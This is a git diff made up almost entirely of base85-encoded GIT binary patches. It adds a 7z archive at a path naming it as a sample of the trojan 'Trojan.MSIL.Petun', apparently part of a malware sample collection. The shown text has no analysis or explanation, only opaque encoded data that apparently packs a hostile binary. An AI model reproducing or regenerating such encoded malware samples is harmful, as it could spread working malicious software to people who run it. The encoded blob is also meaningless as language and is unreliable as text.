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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-890.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-890.7z new file mode 100644 index 0000000000000000000000000000000000000000..7aeb2367d67a8b0c9a099f744344bd295b34c4dc GIT binary patch literal 16896 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 